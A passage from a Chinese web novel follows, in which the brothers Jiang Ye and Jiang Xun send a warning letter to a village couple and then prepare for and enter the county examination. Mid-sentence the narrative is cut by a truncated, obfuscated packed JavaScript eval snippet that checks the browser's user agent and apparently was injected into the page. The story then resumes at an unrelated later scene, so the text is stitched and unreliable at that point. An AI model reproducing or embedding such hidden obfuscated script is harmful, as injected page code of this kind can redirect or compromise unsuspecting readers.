江夜:“要去,你们跟我一起去吧。” 沈德福:“一起?” “嗯,我就去送个信。” 三人去了村子的祠堂,借了纸笔,江夜给万二夫妇写了一封信,信上点名利害。他编造了一条理由,说是前往西桥的桥墩有裂缝,希望他们在元宵之前都不要前往县城。宁可信其有,不可信其无。平安最是要紧。切记切记。他写完,他把信折好,装到信封里,封了口。 江寻见他写完,也知道江夜已经准备就绪。但他想,还得给这封信加点东西,他知道村人迷信,便在信上悄悄撒了点香灰。 就这样,三人将信放在万二夫妇院子的石墩上,见他们主动拿了信,才迎着夜色坐着骡车回了清河镇。 19.考前 除夕夜,万家村,万家的屋子正亮着灯,一对新婚夫妇正在絮絮说着话。 万二夫妇拿到那封信后,拆了开来,上面说让他们元宵之前都不要去县城。 万二道:“这不会是某个人的恶作剧吧。”他说着就要将信扔灶台的柴火里烧掉。他知道自家娘子因太过貌美,引起村里人的诸多波皮无赖觊觎。 李娘子忙接过丈夫手里的信,她定睛看着这信,低头闻了闻,上有香灰味道,忙道:“这说不定是灶王老爷给我们的警示。且你没听到上面说吗?宁可信其无,不可信其无嘛。” 万二还是劝说娘子,“可,我答应要带你去县城的。” 万娘子笑道:“这县城什么时候去都行,灶王老爷的信却不是经常有的啊。我们刚成亲,就在家中过也是一样的。” 万二极为疼惜自家娘子,点头同意了。 那就先不去县城吧。在哪过年都是一样的,最重要的跟亲人在一起。 当然,江夜也是这样想的。 他和江寻回到清河镇,已是深夜,差点急坏了江秀才和张氏。他们责怪了几句,见他们平安无事,还是将他们迎进来。张氏还烧了姜茶让他们暖和。 两兄弟喝了姜茶,笼着炭火,才躺到暖和的被窝里。 江寻已经精疲力竭,将自己窝成了一只肥兔子,埋着被窝里只露出一双大眼睛。 江夜却还好,他轻声说着:“这封信他们真的听了,自然是好。我想着,也算是为你积福了。那文昌帝君可得保你顺利通过县试。他吃了我的香火,若做不到,我可要砸了他的牌子。”他说完期望得到江寻的附和,回头一看,见江寻脸颊泛着粉红,已然睡着了。 江夜看着弟弟可爱的睡容,微笑着替他盖好被子。替他盖好后,自己便也睡了。 …… 过了年,县试接受报名。 江寻江夜找了同学等三人,五人互相担保,报了名。 二月初,县衙便贴出榜来,排了座号。江夜的座号是“东庑二十三”,江寻是“东庑二十四”,沈德福是“西庑五十一”。 江夜笑:“咱俩竟然挨着。” 沈德福:“我知道为什么,你们一个旬考第一,一个旬考倒数啊。能不挨着啊。” 江寻:“你好像很羡慕,那我跟你换换?” 沈德福觑着眼看江夜:“那也要问问夜哥同意不同意。” 江夜面无表情,“当然不同意,且也不是你说换就能换的。” 沈德福苦哈哈,“你看。” 江寻哈哈一笑,“那也没什么,总不能让哥哥帮我写,对吧?” 江夜问:“你需要我帮你写?”倒也不是不可以吧。 江寻:“可别,我可不能害了你。放心吧,我一定全力以赴。” 沈德福:“看江寻这样,我还挺害怕。我永远记得那次季考,他居然超过我。我都看傻了。” 江夜:“还有超过我。” 江寻:“我没超过你啊。” 江夜&沈德福:“可你从不读书啊。” 江寻哈哈笑,“其实我有学。” 沈德福:“什么时候?你别说是跟我一起,夜哥给咱俩补习的时候吗?”补习时,江寻也不怎么听,江夜宠爱弟弟,也睁一眼闭一眼,加上江寻一开始也表明,只是旁听。旁听就等于不听。 说实话,他们真的从未见江寻学习过。 江寻:“我用功的话,你们是看不到的。”说完,他觉得换个换题,便问沈德福,“你客栈定了没?” 沈得福道:“我想跟你们一起,你们定哪?” 江夜:“是东门外的陈家客栈。” “那我也订那里吧。” 江寻:“要快一些了,免得订没了。” 沈德福:“嗯。” 考前三天,三个少年结伴再次前往县城,入住了陈家客栈。一进客栈,就看客栈里都是跟他们差不多大的孩子,有的身边还跟着爹娘,有的则是独自前来。至于做什么,那真的是什么都有—— 有的在努力背书,有的在跟爹娘吵架,有的在拼命抄书,有的在吃东西。当然,大部分还是在抱佛脚。 县试每三年两次,只有考过了,才能资格参加下一次的府试。 全县大概三百名考生,通过的概率大约只有六十名。这意味着大部分人都会落榜。 他们刚到,就有不少学子都抬头看江夜,指指点点的,无他,江夜已经算是清河县的小名人,次次位列第一。大概也就是旬考那次与他的弟弟并列第一,之后再无人与他并肩过。 这一次县考,没有例外的话,江夜还是稳稳的第一。 江寻饶有趣味地看了一会儿,跟哥哥江夜回了房间。 回到房,江寻一边收拾包袱,一边笑道:“哥哥,你可算众望所归啊。” 江夜道:“他们是想拉我下去呢。” “那可做不到啊。”江寻收拾完,伸了个懒腰,“好饿,哥哥,我们去吃东西吧。” 江夜不免叹气,考前三天,谁不拼命读书啊,能背一点是一点啊,但他的弟弟啊,满脑子就是吃。 两人下了楼,江夜又见江寻笑嘻嘻地跟掌柜点菜。 “那个烧鸡来一份,红烧肉,糖醋鱼,炒鸡蛋……嗯,再来个茄子和蛋花汤。两壶茶。哦对,在此之前,先来个炸花生米和酱萝卜。” 那掌柜看着眼前这张笑容满面的脸,都听傻了,“吃得完吗?” 江寻笑:“我哥能吃。”他指着自己身边的江夜。 掌柜又看向白净少年旁边的俊脸少年,个子是高一些,也壮实一些。不过两人竟是兄弟么,也不像啊。 江夜面无表情地颔首,道:“只管上。” 上了菜,两人便在一片朗朗读书中吃东西了。 饭香菜香的,让一些苦读的孩子也终于感到了饥饿,一个个也跑去点菜了。 江寻点的是多,吃得却少。他其实对吃的很有讲究,现在赚了点银子,自然得吃得有档次一些啦。 两人一边吃着,只听隔壁有人道:“我想,再怎么也得比那江寻要好啊。” “可不是嘛,江寻都能通过县试,我等却通不过。那就太打击人了。” 江寻听到自己的名字,转过头,看到提及他名字的人。可不是他的老冤家朱红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“江夜。”江夜站出来。 “江寻。” “有。”江寻也站起来。 那衙役上下打量这两人,“你们就是江家两兄弟?” 江夜有些不耐烦,“不像吗?可以进了吗?” 衙役道:“可以进了。” 两人拿着考篮进了庙内。 那衙役将找到江氏兄弟的事情报告给了管事,管事又报给了知县。说是清明那天私自在小慧寺鸣钟的两兄弟找到了。 江寻江夜并不知,他们确实给予了百姓便利,却意外地得罪了知县。 他们进了文庙后,辰时正的时候,考生坐定,衙役便开始发卷。 所有的卷子都是折好的,上面盖着骑缝章,发下来不许拆,等考官说“开考”才能拆。 直到庙内的钟声响起,所有考生才正式开始答卷。